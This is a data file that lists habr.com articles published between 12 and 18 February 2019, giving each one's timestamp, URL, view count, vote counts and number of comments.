2019-02-18T10:45:00.000,https://habr.com/ru/company/funcorp/blog/440226/,views:2900,votes:40,up:40,down:0,comments:3
2019-02-18T10:37:00.000,https://habr.com/ru/post/440678/,views:8600,votes:38,up:38,down:0,comments:25
2019-02-18T10:13:00.000,https://habr.com/ru/post/440512/,views:7400,votes:18,up:27,down:9,comments:17
2019-02-18T10:05:00.000,https://habr.com/ru/post/440386/,views:3500,votes:14,up:15,down:1,comments:15
2019-02-18T10:05:00.000,https://habr.com/ru/post/440354/,views:507,votes:2,up:8,down:6,comments:1
2019-02-18T10:00:00.000,https://habr.com/ru/company/yandex/blog/440666/,views:2200,votes:25,up:27,down:2,comments:0
2019-02-18T10:00:00.000,https://habr.com/ru/post/440604/,views:4300,votes:20,up:22,down:2,comments:7
2019-02-18T09:38:00.000,https://habr.com/ru/post/440594/,views:8200,votes:22,up:25,down:3,comments:27
2019-02-18T09:26:00.000,https://habr.com/ru/post/440256/,views:1700,votes:9,up:13,down:4,comments:4
2019-02-18T09:14:00.000,https://habr.com/ru/company/devexpress/blog/440552/,views:8600,votes:28,up:30,down:2,comments:16
2019-02-18T09:03:00.000,https://habr.com/ru/company/flant/blog/440504/,views:5600,votes:24,up:26,down:2,comments:9
2019-02-18T08:52:00.000,https://habr.com/ru/post/440674/,views:2900,votes:18,up:18,down:0,comments:1
2019-02-18T07:54:00.000,https://habr.com/ru/post/440672/,views:16000,votes:74,up:84,down:10,comments:127
2019-02-18T07:54:00.000,https://habr.com/ru/post/440618/,views:1500,votes:15,up:16,down:1,comments:3
2019-02-18T06:58:00.000,https://habr.com/ru/post/440670/,views:3500,votes:6,up:8,down:2,comments:12
2019-02-18T06:53:00.000,https://habr.com/ru/post/440616/,views:12600,votes:33,up:34,down:1,comments:64
2019-02-18T00:56:00.000,https://habr.com/ru/post/440648/,views:2400,votes:9,up:10,down:1,comments:0
2019-02-18T00:45:00.000,https://habr.com/ru/post/440644/,views:8400,votes:30,up:31,down:1,comments:10
2019-02-17T23:40:00.000,https://habr.com/ru/post/440620/,views:39900,votes:149,up:157,down:8,comments:287
2019-02-17T23:17:00.000,https://habr.com/ru/post/440640/,views:12200,votes:45,up:18,down:63,comments:134
2019-02-17T23:05:00.000,https://habr.com/ru/post/440638/,views:9400,votes:70,up:4,down:74,comments:24
2019-02-17T22:53:00.000,https://habr.com/ru/company/madrobots/blog/440636/,views:2600,votes:12,up:13,down:1,comments:0
2019-02-17T22:43:00.000,https://habr.com/ru/post/440634/,views:22100,votes:6,up:41,down:35,comments:72
2019-02-17T22:11:00.000,https://habr.com/ru/company/jugru/blog/440560/,views:1200,votes:19,up:21,down:2,comments:0
2019-02-17T21:54:00.000,https://habr.com/ru/post/440576/,views:6100,votes:39,up:40,down:1,comments:8
2019-02-17T21:49:00.000,https://habr.com/ru/post/439882/,views:1800,votes:14,up:17,down:3,comments:2
2019-02-17T20:34:00.000,https://habr.com/ru/post/440626/,views:9500,votes:20,up:22,down:2,comments:47
2019-02-17T19:10:00.000,https://habr.com/ru/company/wrike/blog/440326/,views:707,votes:9,up:10,down:1,comments:0
2019-02-17T19:04:00.000,https://habr.com/ru/post/440614/,views:4700,votes:23,up:8,down:31,comments:46
2019-02-17T18:53:00.000,https://habr.com/ru/post/440266/,views:3800,votes:8,up:12,down:4,comments:7
2019-02-17T18:39:00.000,https://habr.com/ru/company/ua-hosting/blog/440612/,views:3800,votes:9,up:12,down:3,comments:10
2019-02-17T17:41:00.000,https://habr.com/ru/post/440600/,views:25800,votes:42,up:42,down:0,comments:28
2019-02-17T17:27:00.000,https://habr.com/ru/post/440608/,views:6400,votes:18,up:23,down:5,comments:8
2019-02-17T17:06:00.000,https://habr.com/ru/company/everydaytools/blog/440606/,views:3300,votes:9,up:10,down:1,comments:0
2019-02-17T16:49:00.000,https://habr.com/ru/company/vsce/blog/440528/,views:2500,votes:12,up:15,down:3,comments:1
2019-02-17T15:37:00.000,https://habr.com/ru/post/440602/,views:4200,votes:13,up:14,down:1,comments:29
2019-02-17T15:04:00.000,https://habr.com/ru/post/440598/,views:11500,votes:26,up:30,down:4,comments:8
2019-02-17T13:32:00.000,https://habr.com/ru/post/440590/,views:11500,votes:48,up:50,down:2,comments:9
2019-02-17T13:10:00.000,https://habr.com/ru/post/440554/,views:11700,votes:27,up:31,down:4,comments:61
2019-02-17T13:09:00.000,https://habr.com/ru/company/audiomania/blog/440588/,views:8300,votes:22,up:24,down:2,comments:14
2019-02-17T12:53:00.000,https://habr.com/ru/company/bitfury/blog/440586/,views:1800,votes:22,up:23,down:1,comments:4
2019-02-17T12:51:00.000,https://habr.com/ru/post/440584/,views:65300,votes:106,up:111,down:5,comments:135
2019-02-17T12:17:00.000,https://habr.com/ru/post/440566/,views:15000,votes:46,up:48,down:2,comments:92
2019-02-17T11:50:00.000,https://habr.com/ru/post/440582/,views:20400,votes:4,up:25,down:21,comments:234
2019-02-17T10:46:00.000,https://habr.com/ru/post/440460/,views:9700,votes:27,up:27,down:0,comments:3
2019-02-17T06:48:00.000,https://habr.com/ru/post/440574/,views:4400,votes:46,up:47,down:1,comments:15
2019-02-17T01:11:00.000,https://habr.com/ru/post/440570/,views:1500,votes:24,up:24,down:0,comments:0
2019-02-17T00:53:00.000,https://habr.com/ru/post/440568/,views:2300,votes:8,up:14,down:6,comments:0
2019-02-17T00:04:00.000,https://habr.com/ru/post/440564/,views:12900,votes:44,up:46,down:2,comments:53
2019-02-16T23:18:00.000,https://habr.com/ru/post/440562/,views:21300,votes:12,up:34,down:22,comments:106
2019-02-16T21:30:00.000,https://habr.com/ru/company/vasexperts/blog/440558/,views:5200,votes:19,up:20,down:1,comments:2
2019-02-16T21:15:00.000,https://habr.com/ru/post/440556/,views:5300,votes:21,up:27,down:6,comments:18
2019-02-16T18:55:00.000,https://habr.com/ru/post/440546/,views:8600,votes:29,up:32,down:3,comments:9
2019-02-16T17:40:00.000,https://habr.com/ru/post/440542/,views:5700,votes:18,up:19,down:1,comments:21
2019-02-16T17:39:00.000,https://habr.com/ru/post/440428/,views:5300,votes:23,up:26,down:3,comments:10
2019-02-16T17:31:00.000,https://habr.com/ru/company/iticapital/blog/440540/,views:5200,votes:21,up:22,down:1,comments:4
2019-02-16T17:18:00.000,https://habr.com/ru/company/skillbox/blog/440536/,views:2800,votes:26,up:28,down:2,comments:2
2019-02-16T16:58:00.000,https://habr.com/ru/company/englishdom/blog/440534/,views:5300,votes:9,up:18,down:9,comments:48
2019-02-16T16:36:00.000,https://habr.com/ru/post/440488/,views:1800,votes:21,up:21,down:0,comments:9
2019-02-16T15:56:00.000,https://habr.com/ru/post/440524/,views:6800,votes:15,up:20,down:5,comments:10
2019-02-16T15:50:00.000,https://habr.com/ru/post/440498/,views:10900,votes:12,up:17,down:5,comments:43
2019-02-16T15:26:00.000,https://habr.com/ru/post/440464/,views:2200,votes:12,up:12,down:0,comments:2
2019-02-16T14:55:00.000,https://habr.com/ru/post/440522/,views:2400,votes:9,up:9,down:0,comments:9
2019-02-16T14:09:00.000,https://habr.com/ru/post/440518/,views:4700,votes:16,up:20,down:4,comments:4
2019-02-16T12:25:00.000,https://habr.com/ru/post/440344/,views:65000,votes:85,up:100,down:15,comments:256
2019-02-16T12:09:00.000,https://habr.com/ru/post/440516/,views:21000,votes:41,up:46,down:5,comments:89
2019-02-16T12:00:00.000,https://habr.com/ru/post/440514/,views:4300,votes:22,up:25,down:3,comments:14
2019-02-16T11:30:00.000,https://habr.com/ru/post/440508/,views:3600,votes:2,up:16,down:14,comments:2
2019-02-16T10:47:00.000,https://habr.com/ru/post/440506/,views:13700,votes:24,up:25,down:1,comments:15
2019-02-16T10:01:00.000,https://habr.com/ru/company/audiomania/blog/440502/,views:2900,votes:13,up:18,down:5,comments:1
2019-02-16T08:12:00.000,https://habr.com/ru/post/440154/,views:13500,votes:25,up:25,down:0,comments:9
2019-02-16T00:42:00.000,https://habr.com/ru/post/440496/,views:10700,votes:14,up:19,down:5,comments:101
2019-02-15T23:58:00.000,https://habr.com/ru/post/440366/,views:5000,votes:52,up:55,down:3,comments:29
2019-02-15T23:47:00.000,https://habr.com/ru/post/440364/,views:10200,votes:24,up:24,down:0,comments:26
2019-02-15T23:29:00.000,https://habr.com/ru/post/440492/,views:21700,votes:26,up:28,down:2,comments:133
2019-02-15T22:38:00.000,https://habr.com/ru/post/440490/,views:3700,votes:11,up:17,down:28,comments:46
2019-02-15T20:20:00.000,https://habr.com/ru/post/440486/,views:5000,votes:26,up:28,down:2,comments:17
2019-02-15T19:07:00.000,https://habr.com/ru/company/3cx/blog/440478/,views:6600,votes:20,up:26,down:6,comments:2
2019-02-15T18:26:00.000,https://habr.com/ru/post/440476/,views:4600,votes:15,up:17,down:2,comments:4
2019-02-15T18:19:00.000,https://habr.com/ru/post/440474/,views:1000,votes:15,up:15,down:0,comments:0
2019-02-15T18:02:00.000,https://habr.com/ru/post/440470/,views:2400,votes:16,up:20,down:4,comments:9
2019-02-15T17:36:00.000,https://habr.com/ru/post/440466/,views:8000,votes:37,up:37,down:0,comments:29
2019-02-15T17:10:00.000,https://habr.com/ru/post/440382/,views:8500,votes:0,up:28,down:28,comments:169
2019-02-15T17:09:00.000,https://habr.com/ru/company/otus/blog/440462/,views:1300,votes:3,up:15,down:12,comments:3
2019-02-15T17:05:00.000,https://habr.com/ru/company/mobileup/blog/440284/,views:8600,votes:24,up:26,down:2,comments:21
2019-02-15T16:58:00.000,https://habr.com/ru/company/mailru/blog/439518/,views:1900,votes:17,up:20,down:3,comments:1
2019-02-15T16:34:00.000,https://habr.com/ru/company/iqb\_technologies/blog/440434/,views:3100,votes:12,up:13,down:1,comments:9
2019-02-15T16:22:00.000,https://habr.com/ru/post/440450/,views:3500,votes:13,up:18,down:5,comments:9
2019-02-15T16:22:00.000,https://habr.com/ru/company/edison/blog/440448/,views:14900,votes:14,up:33,down:19,comments:36
2019-02-15T16:17:00.000,https://habr.com/ru/company/piter/blog/440444/,views:2500,votes:11,up:11,down:0,comments:2
2019-02-15T16:15:00.000,https://habr.com/ru/company/mcad/blog/440446/,views:409,votes:11,up:11,down:0,comments:0
2019-02-15T16:15:00.000,https://habr.com/ru/company/everydaytools/blog/440440/,views:39700,votes:27,up:43,down:16,comments:75
2019-02-15T15:06:00.000,https://habr.com/ru/post/440438/,views:3100,votes:19,up:21,down:2,comments:2
2019-02-15T14:51:00.000,https://habr.com/ru/company/edison/blog/440432/,views:7100,votes:19,up:25,down:6,comments:12
2019-02-15T14:49:00.000,https://habr.com/ru/post/440414/,views:7100,votes:25,up:33,down:8,comments:21
2019-02-15T14:30:00.000,https://habr.com/ru/company/edison/blog/440430/,views:5600,votes:21,up:24,down:3,comments:15
2019-02-15T14:20:00.000,https://habr.com/ru/company/edison/blog/436098/,views:4600,votes:31,up:32,down:1,comments:1
2019-02-15T13:57:00.000,https://habr.com/ru/post/440426/,views:5900,votes:16,up:19,down:3,comments:15
2019-02-15T13:54:00.000,https://habr.com/ru/post/440424/,views:4700,votes:12,up:24,down:12,comments:77
2019-02-15T13:25:00.000,https://habr.com/ru/post/440418/,views:4800,votes:12,up:13,down:1,comments:29
2019-02-15T13:25:00.000,https://habr.com/ru/post/430324/,views:6800,votes:54,up:54,down:0,comments:15
2019-02-15T13:22:00.000,https://habr.com/ru/company/e-Legion/blog/440078/,views:1900,votes:28,up:28,down:0,comments:1
2019-02-15T13:12:00.000,https://habr.com/ru/post/440416/,views:2000,votes:17,up:20,down:3,comments:5
2019-02-15T13:06:00.000,https://habr.com/ru/post/438942/,views:2800,votes:29,up:29,down:0,comments:3
2019-02-15T13:02:00.000,https://habr.com/ru/company/zimbra/blog/440412/,views:830,votes:9,up:9,down:0,comments:0
2019-02-15T12:49:00.000,https://habr.com/ru/post/440408/,views:3500,votes:12,up:13,down:1,comments:9
2019-02-15T12:47:00.000,https://habr.com/ru/post/440402/,views:51200,votes:186,up:190,down:4,comments:243
2019-02-15T12:37:00.000,https://habr.com/ru/post/440394/,views:4600,votes:40,up:40,down:0,comments:4
2019-02-15T12:35:00.000,https://habr.com/ru/company/ozontech/blog/440404/,views:950,votes:9,up:9,down:0,comments:6
2019-02-15T12:16:00.000,https://habr.com/ru/post/440398/,views:5000,votes:49,up:50,down:1,comments:11
2019-02-15T12:00:00.000,https://habr.com/ru/company/ruvds/blog/439980/,views:9000,votes:26,up:26,down:0,comments:5
2019-02-15T12:00:00.000,https://habr.com/ru/company/ua-hosting/blog/440268/,views:5900,votes:32,up:32,down:0,comments:7
2019-02-15T11:58:00.000,https://habr.com/ru/company/aktiv-company/blog/440142/,views:7700,votes:13,up:16,down:3,comments:21
2019-02-15T11:22:00.000,https://habr.com/ru/company/embox/blog/440390/,views:3300,votes:27,up:28,down:1,comments:70
2019-02-15T11:20:00.000,https://habr.com/ru/post/440388/,views:11800,votes:36,up:38,down:2,comments:35
2019-02-15T11:06:00.000,https://habr.com/ru/company/mailru/blog/439208/,views:8000,votes:51,up:53,down:2,comments:32
2019-02-15T10:57:00.000,https://habr.com/ru/post/440370/,views:6200,votes:22,up:23,down:1,comments:32
2019-02-15T10:44:00.000,https://habr.com/ru/company/oleg-bunin/blog/440332/,views:3500,votes:34,up:34,down:0,comments:2
2019-02-15T09:44:00.000,https://habr.com/ru/company/top3dshop/blog/440350/,views:1900,votes:12,up:12,down:0,comments:2
2019-02-15T09:32:00.000,https://habr.com/ru/post/440376/,views:30800,votes:46,up:52,down:6,comments:81
2019-02-15T07:29:00.000,https://habr.com/ru/post/440136/,views:7300,votes:34,up:34,down:0,comments:0
2019-02-15T01:28:00.000,https://habr.com/ru/post/440368/,views:5300,votes:19,up:21,down:2,comments:7
2019-02-14T23:44:00.000,https://habr.com/ru/post/440362/,views:9700,votes:17,up:18,down:1,comments:37
2019-02-14T23:05:00.000,https://habr.com/ru/post/440360/,views:6400,votes:3,up:14,down:17,comments:26
2019-02-14T22:58:00.000,https://habr.com/ru/post/440358/,views:8000,votes:38,up:29,down:67,comments:109
2019-02-14T21:00:00.000,https://habr.com/ru/post/440306/,views:4500,votes:15,up:17,down:2,comments:19
2019-02-14T20:58:00.000,https://habr.com/ru/post/440352/,views:44900,votes:59,up:68,down:9,comments:41
2019-02-14T20:42:00.000,https://habr.com/ru/company/madrobots/blog/440346/,views:8800,votes:35,up:40,down:5,comments:14
2019-02-14T20:10:00.000,https://habr.com/ru/company/postgrespro/blog/436352/,views:3200,votes:21,up:21,down:0,comments:0
2019-02-14T19:33:00.000,https://habr.com/ru/post/440336/,views:42100,votes:85,up:98,down:13,comments:135
2019-02-14T18:46:00.000,https://habr.com/ru/company/otus/blog/440334/,views:1900,votes:1,up:12,down:11,comments:6
2019-02-14T18:08:00.000,https://habr.com/ru/post/440330/,views:4200,votes:12,up:16,down:4,comments:8
2019-02-14T18:03:00.000,https://habr.com/ru/post/440328/,views:2100,votes:12,up:13,down:1,comments:4
2019-02-14T17:38:00.000,https://habr.com/ru/company/it-grad/blog/440324/,views:2300,votes:14,up:16,down:2,comments:1
2019-02-14T17:07:00.000,https://habr.com/ru/company/jugru/blog/440314/,views:7000,votes:49,up:50,down:1,comments:16
2019-02-14T16:40:00.000,https://habr.com/ru/post/440320/,views:3400,votes:14,up:24,down:38,comments:23
2019-02-14T16:38:00.000,https://habr.com/ru/post/440318/,views:1900,votes:20,up:20,down:0,comments:5
2019-02-14T16:05:00.000,https://habr.com/ru/post/440308/,views:11000,votes:49,up:50,down:1,comments:30
2019-02-14T15:51:00.000,https://habr.com/ru/company/just\_ai/blog/439242/,views:1800,votes:21,up:23,down:2,comments:13
2019-02-14T15:48:00.000,https://habr.com/ru/company/oleg-bunin/blog/433324/,views:8600,votes:53,up:56,down:3,comments:14
2019-02-14T15:48:00.000,https://habr.com/ru/post/440304/,views:2900,votes:36,up:36,down:0,comments:3
2019-02-14T14:47:00.000,https://habr.com/ru/post/440246/,views:1800,votes:27,up:31,down:4,comments:4
2019-02-14T14:45:00.000,https://habr.com/ru/post/440302/,views:1700,votes:3,up:11,down:8,comments:2
2019-02-14T14:23:00.000,https://habr.com/ru/post/439190/,views:3600,votes:19,up:19,down:0,comments:0
2019-02-14T14:02:00.000,https://habr.com/ru/company/piter/blog/440292/,views:3500,votes:23,up:24,down:1,comments:11
2019-02-14T14:01:00.000,https://habr.com/ru/company/skillbox/blog/440300/,views:12200,votes:45,up:51,down:6,comments:11
2019-02-14T13:42:00.000,https://habr.com/ru/company/kaspersky/blog/440252/,views:39700,votes:69,up:75,down:6,comments:167
2019-02-14T13:39:00.000,https://habr.com/ru/post/440290/,views:7800,votes:16,up:20,down:4,comments:14
2019-02-14T13:17:00.000,https://habr.com/ru/post/440282/,views:13200,votes:21,up:28,down:7,comments:26
2019-02-14T13:00:00.000,https://habr.com/ru/company/ruvds/blog/439982/,views:2600,votes:26,up:26,down:0,comments:6
2019-02-14T12:32:00.000,https://habr.com/ru/post/440238/,views:4600,votes:15,up:16,down:1,comments:5
2019-02-14T12:28:00.000,https://habr.com/ru/post/440280/,views:14100,votes:59,up:60,down:1,comments:71
2019-02-14T11:55:00.000,https://habr.com/ru/post/440032/,views:17900,votes:34,up:35,down:1,comments:22
2019-02-14T11:18:00.000,https://habr.com/ru/post/440244/,views:59900,votes:106,up:127,down:21,comments:166
2019-02-14T11:17:00.000,https://habr.com/ru/post/440272/,views:5800,votes:17,up:17,down:0,comments:28
2019-02-14T11:09:00.000,https://habr.com/ru/company/top3dshop/blog/440198/,views:1700,votes:14,up:15,down:1,comments:2
2019-02-14T11:03:00.000,https://habr.com/ru/post/440270/,views:3100,votes:14,up:14,down:0,comments:6
2019-02-14T11:01:00.000,https://habr.com/ru/company/itsumma/blog/440208/,views:3500,votes:35,up:35,down:0,comments:4
2019-02-14T10:55:00.000,https://habr.com/ru/company/redhatrussia/blog/440188/,views:1900,votes:12,up:12,down:0,comments:1
2019-02-14T10:19:00.000,https://habr.com/ru/company/yandex/blog/431108/,views:11600,votes:70,up:73,down:3,comments:29
2019-02-14T10:15:00.000,https://habr.com/ru/company/dataline/blog/440264/,views:2900,votes:25,up:27,down:2,comments:7
2019-02-14T10:09:00.000,https://habr.com/ru/company/dodopizzaio/blog/439844/,views:35400,votes:54,up:75,down:21,comments:216
2019-02-14T10:06:00.000,https://habr.com/ru/post/440110/,views:8100,votes:38,up:38,down:0,comments:18
2019-02-14T10:02:00.000,https://habr.com/ru/company/roseltorg/blog/440218/,views:7600,votes:43,up:43,down:0,comments:34
2019-02-14T10:00:00.000,https://habr.com/ru/company/microsoft/blog/440180/,views:2400,votes:15,up:15,down:0,comments:0
2019-02-14T09:22:00.000,https://habr.com/ru/company/alconost/blog/440220/,views:9300,votes:17,up:20,down:3,comments:5
2019-02-14T09:21:00.000,https://habr.com/ru/post/440260/,views:4600,votes:28,up:28,down:0,comments:16
2019-02-14T09:13:00.000,https://habr.com/ru/post/440200/,views:3700,votes:0,up:13,down:13,comments:59
2019-02-14T08:37:00.000,https://habr.com/ru/post/440258/,views:9400,votes:47,up:47,down:0,comments:113
2019-02-14T08:00:00.000,https://habr.com/ru/company/2gis/blog/440062/,views:5300,votes:28,up:29,down:1,comments:14
2019-02-14T07:50:00.000,https://habr.com/ru/post/439520/,views:2200,votes:4,up:8,down:12,comments:8
2019-02-14T05:26:00.000,https://habr.com/ru/post/440254/,views:7400,votes:18,up:26,down:8,comments:79
2019-02-14T05:00:00.000,https://habr.com/ru/company/dsec/blog/439184/,views:3600,votes:24,up:26,down:2,comments:56
2019-02-14T03:05:00.000,https://habr.com/ru/post/440250/,views:39100,votes:92,up:93,down:1,comments:171
2019-02-14T02:47:00.000,https://habr.com/ru/post/440248/,views:3000,votes:9,up:10,down:1,comments:7
2019-02-13T22:15:00.000,https://habr.com/ru/post/440236/,views:15400,votes:32,up:41,down:9,comments:58
2019-02-13T21:58:00.000,https://habr.com/ru/post/440234/,views:2500,votes:19,up:20,down:1,comments:5
2019-02-13T21:30:00.000,https://habr.com/ru/post/440232/,views:46300,votes:70,up:81,down:11,comments:376
2019-02-13T21:11:00.000,https://habr.com/ru/post/440230/,views:1600,votes:10,up:12,down:2,comments:5
2019-02-13T19:43:00.000,https://habr.com/ru/post/440196/,views:7000,votes:19,up:27,down:8,comments:17
2019-02-13T19:36:00.000,https://habr.com/ru/post/440222/,views:6500,votes:36,up:36,down:0,comments:74
2019-02-13T18:42:00.000,https://habr.com/ru/post/440216/,views:3800,votes:11,up:13,down:2,comments:16
2019-02-13T18:41:00.000,https://habr.com/ru/post/440214/,views:5000,votes:15,up:18,down:3,comments:5
2019-02-13T18:16:00.000,https://habr.com/ru/company/otus/blog/440210/,views:1200,votes:10,up:11,down:1,comments:3
2019-02-13T18:06:00.000,https://habr.com/ru/company/lamptest/blog/440206/,views:25400,votes:62,up:62,down:0,comments:66
2019-02-13T17:52:00.000,https://habr.com/ru/post/440204/,views:10400,votes:24,up:29,down:5,comments:21
2019-02-13T16:37:00.000,https://habr.com/ru/company/avito/blog/439962/,views:1200,votes:26,up:27,down:1,comments:1
2019-02-13T16:36:00.000,https://habr.com/ru/company/mailru/blog/439226/,views:4100,votes:40,up:41,down:1,comments:9
2019-02-13T16:31:00.000,https://habr.com/ru/company/ivideon/blog/439870/,views:4500,votes:16,up:17,down:1,comments:9
2019-02-13T16:07:00.000,https://habr.com/ru/company/abbyy/blog/440124/,views:3400,votes:28,up:29,down:1,comments:15
2019-02-13T16:05:00.000,https://habr.com/ru/company/mcad/blog/440104/,views:892,votes:21,up:22,down:1,comments:8
2019-02-13T16:02:00.000,https://habr.com/ru/post/437386/,views:22500,votes:42,up:45,down:3,comments:105
2019-02-13T16:01:00.000,https://habr.com/ru/company/badoo/blog/439972/,views:6800,votes:72,up:72,down:0,comments:10
2019-02-13T15:49:00.000,https://habr.com/ru/post/440190/,views:9100,votes:10,up:23,down:13,comments:19
2019-02-13T15:41:00.000,https://habr.com/ru/company/ibm/blog/440182/,views:2700,votes:16,up:16,down:0,comments:0
2019-02-13T15:24:00.000,https://habr.com/ru/post/440178/,views:6400,votes:24,up:27,down:3,comments:12
2019-02-13T15:21:00.000,https://habr.com/ru/company/binarydistrict/blog/440176/,views:3800,votes:13,up:16,down:3,comments:6
2019-02-13T15:17:00.000,https://habr.com/ru/company/funcorp/blog/440168/,views:1500,votes:23,up:24,down:1,comments:0
2019-02-13T15:05:00.000,https://habr.com/ru/company/fbk\_cs/blog/439522/,views:48700,votes:133,up:136,down:3,comments:154
2019-02-13T15:00:00.000,https://habr.com/ru/company/psb/blog/440172/,views:3800,votes:22,up:24,down:2,comments:6
2019-02-13T14:35:00.000,https://habr.com/ru/post/439918/,views:3400,votes:17,up:19,down:2,comments:4
2019-02-13T14:35:00.000,https://habr.com/ru/post/440158/,views:6400,votes:22,up:25,down:3,comments:60
2019-02-13T14:20:00.000,https://habr.com/ru/post/440138/,views:2300,votes:12,up:13,down:1,comments:2
2019-02-13T14:12:00.000,https://habr.com/ru/company/selectel/blog/439834/,views:3700,votes:18,up:19,down:1,comments:9
2019-02-13T14:08:00.000,https://habr.com/ru/post/440166/,views:6600,votes:30,up:30,down:0,comments:20
2019-02-13T14:04:00.000,https://habr.com/ru/post/440164/,views:2100,votes:9,up:11,down:2,comments:4
2019-02-13T14:01:00.000,https://habr.com/ru/post/440162/,views:6700,votes:7,up:23,down:16,comments:25
2019-02-13T13:57:00.000,https://habr.com/ru/post/440160/,views:34400,votes:60,up:61,down:1,comments:78
2019-02-13T13:17:00.000,https://habr.com/ru/company/oleg-bunin/blog/433480/,views:4200,votes:22,up:26,down:4,comments:13
2019-02-13T13:16:00.000,https://habr.com/ru/company/srg/blog/439614/,views:1300,votes:11,up:11,down:0,comments:16
2019-02-13T12:52:00.000,https://habr.com/ru/company/piter/blog/439990/,views:2200,votes:12,up:12,down:0,comments:2
2019-02-13T12:50:00.000,https://habr.com/ru/post/440054/,views:7600,votes:24,up:32,down:8,comments:17
2019-02-13T12:38:00.000,https://habr.com/ru/post/440152/,views:17200,votes:25,up:40,down:15,comments:171
2019-02-13T12:35:00.000,https://habr.com/ru/company/hidemy\_name/blog/439848/,views:23400,votes:44,up:46,down:2,comments:67
2019-02-13T12:25:00.000,https://habr.com/ru/post/440148/,views:2100,votes:16,up:16,down:0,comments:2
2019-02-13T12:03:00.000,https://habr.com/ru/company/yandex/blog/439884/,views:6100,votes:32,up:32,down:0,comments:44
2019-02-13T12:00:00.000,https://habr.com/ru/company/ua-hosting/blog/439838/,views:7000,votes:32,up:33,down:1,comments:34
2019-02-13T12:00:00.000,https://habr.com/ru/company/ruvds/blog/439978/,views:11000,votes:29,up:29,down:0,comments:33
2019-02-13T11:55:00.000,https://habr.com/ru/post/438112/,views:1300,votes:9,up:10,down:1,comments:5
2019-02-13T11:53:00.000,https://habr.com/ru/company/mailru/blog/439988/,views:2700,votes:30,up:32,down:2,comments:3
2019-02-13T11:47:00.000,https://habr.com/ru/company/edison/blog/440086/,views:12700,votes:22,up:26,down:4,comments:13
2019-02-13T11:16:00.000,https://habr.com/ru/company/tuturu/blog/440112/,views:18900,votes:48,up:51,down:3,comments:49
2019-02-13T10:40:00.000,https://habr.com/ru/post/440118/,views:2800,votes:15,up:16,down:1,comments:4
2019-02-13T10:40:00.000,https://habr.com/ru/post/440108/,views:4500,votes:15,up:15,down:0,comments:4
2019-02-13T10:16:00.000,https://habr.com/ru/post/440122/,views:9000,votes:18,up:20,down:2,comments:23
2019-02-13T10:15:00.000,https://habr.com/ru/post/440120/,views:1900,votes:4,up:11,down:7,comments:4
2019-02-13T10:01:00.000,https://habr.com/ru/company/ruvds/blog/440096/,views:3800,votes:27,up:30,down:3,comments:13
2019-02-13T10:00:00.000,https://habr.com/ru/company/intel/blog/439948/,views:1500,votes:10,up:12,down:2,comments:5
2019-02-13T10:00:00.000,https://habr.com/ru/post/440044/,views:4600,votes:10,up:13,down:3,comments:3
2019-02-13T10:00:00.000,https://habr.com/ru/company/microsoft/blog/439670/,views:3700,votes:21,up:22,down:1,comments:11
2019-02-13T09:58:00.000,https://habr.com/ru/company/englishdom/blog/440076/,views:1200,votes:6,up:9,down:3,comments:5
2019-02-13T08:29:00.000,https://habr.com/ru/company/moikrug/blog/440102/,views:13000,votes:21,up:22,down:1,comments:48
2019-02-13T07:43:00.000,https://habr.com/ru/post/439594/,views:2700,votes:7,up:8,down:1,comments:4
2019-02-13T07:26:00.000,https://habr.com/ru/post/439830/,views:15100,votes:30,up:34,down:4,comments:4
2019-02-13T02:37:00.000,https://habr.com/ru/post/440094/,views:24400,votes:48,up:50,down:2,comments:158
2019-02-12T23:55:00.000,https://habr.com/ru/company/rusonyx/blog/440084/,views:12700,votes:31,up:46,down:15,comments:420
2019-02-12T22:20:00.000,https://habr.com/ru/post/440074/,views:43000,votes:55,up:62,down:7,comments:246
2019-02-12T21:15:00.000,https://habr.com/ru/company/southbridge/blog/440072/,views:2300,votes:18,up:20,down:2,comments:9
2019-02-12T20:46:00.000,https://habr.com/ru/post/440070/,views:3300,votes:24,up:24,down:0,comments:8
2019-02-12T19:47:00.000,https://habr.com/ru/post/440066/,views:6300,votes:14,up:17,down:3,comments:12
2019-02-12T18:26:00.000,https://habr.com/ru/post/440052/,views:5400,votes:44,up:44,down:0,comments:21
2019-02-12T18:03:00.000,https://habr.com/ru/post/440050/,views:4000,votes:22,up:23,down:1,comments:4
2019-02-12T17:50:00.000,https://habr.com/ru/post/440048/,views:2300,votes:11,up:12,down:1,comments:5
2019-02-12T17:46:00.000,https://habr.com/ru/company/otus/blog/440046/,views:1700,votes:8,up:11,down:3,comments:6
2019-02-12T17:16:00.000,https://habr.com/ru/post/440040/,views:37300,votes:125,up:138,down:13,comments:97
2019-02-12T16:36:00.000,https://habr.com/ru/post/440030/,views:14600,votes:55,up:56,down:1,comments:72
2019-02-12T16:36:00.000,https://habr.com/ru/company/zadarma/blog/439528/,views:2000,votes:20,up:20,down:0,comments:1
2019-02-12T16:07:00.000,https://habr.com/ru/post/439946/,views:6900,votes:7,up:27,down:20,comments:117
2019-02-12T16:06:00.000,https://habr.com/ru/company/compscicenter/blog/439742/,views:5200,votes:33,up:34,down:1,comments:9
2019-02-12T15:57:00.000,https://habr.com/ru/post/440024/,views:5300,votes:33,up:33,down:0,comments:18
2019-02-12T15:49:00.000,https://habr.com/ru/company/iticapital/blog/440022/,views:4400,votes:16,up:18,down:2,comments:41
2019-02-12T15:29:00.000,https://habr.com/ru/post/440020/,views:2300,votes:8,up:12,down:4,comments:21
2019-02-12T15:26:00.000,https://habr.com/ru/company/mobio/blog/440012/,views:319,votes:8,up:12,down:4,comments:0
2019-02-12T15:23:00.000,https://habr.com/ru/company/yougile/blog/439892/,views:2400,votes:15,up:17,down:2,comments:1
2019-02-12T15:22:00.000,https://habr.com/ru/company/maccentre/blog/440016/,views:5500,votes:19,up:22,down:3,comments:45
2019-02-12T15:21:00.000,https://habr.com/ru/company/tm/blog/439388/,views:1900,votes:19,up:20,down:1,comments:3
2019-02-12T15:16:00.000,https://habr.com/ru/post/440018/,views:1800,votes:22,up:22,down:0,comments:3
2019-02-12T15:16:00.000,https://habr.com/ru/company/skillbox/blog/440014/,views:7000,votes:22,up:24,down:2,comments:3
2019-02-12T14:36:00.000,https://habr.com/ru/post/440008/,views:3800,votes:42,up:43,down:1,comments:30
2019-02-12T14:34:00.000,https://habr.com/ru/post/440006/,views:37700,votes:34,up:39,down:5,comments:391
2019-02-12T14:18:00.000,https://habr.com/ru/post/440000/,views:33400,votes:37,up:43,down:6,comments:46
2019-02-12T14:14:00.000,https://habr.com/ru/company/rusonyx/blog/439920/,views:1800,votes:19,up:21,down:2,comments:15
2019-02-12T14:10:00.000,https://habr.com/ru/post/439996/,views:1000,votes:15,up:16,down:1,comments:1
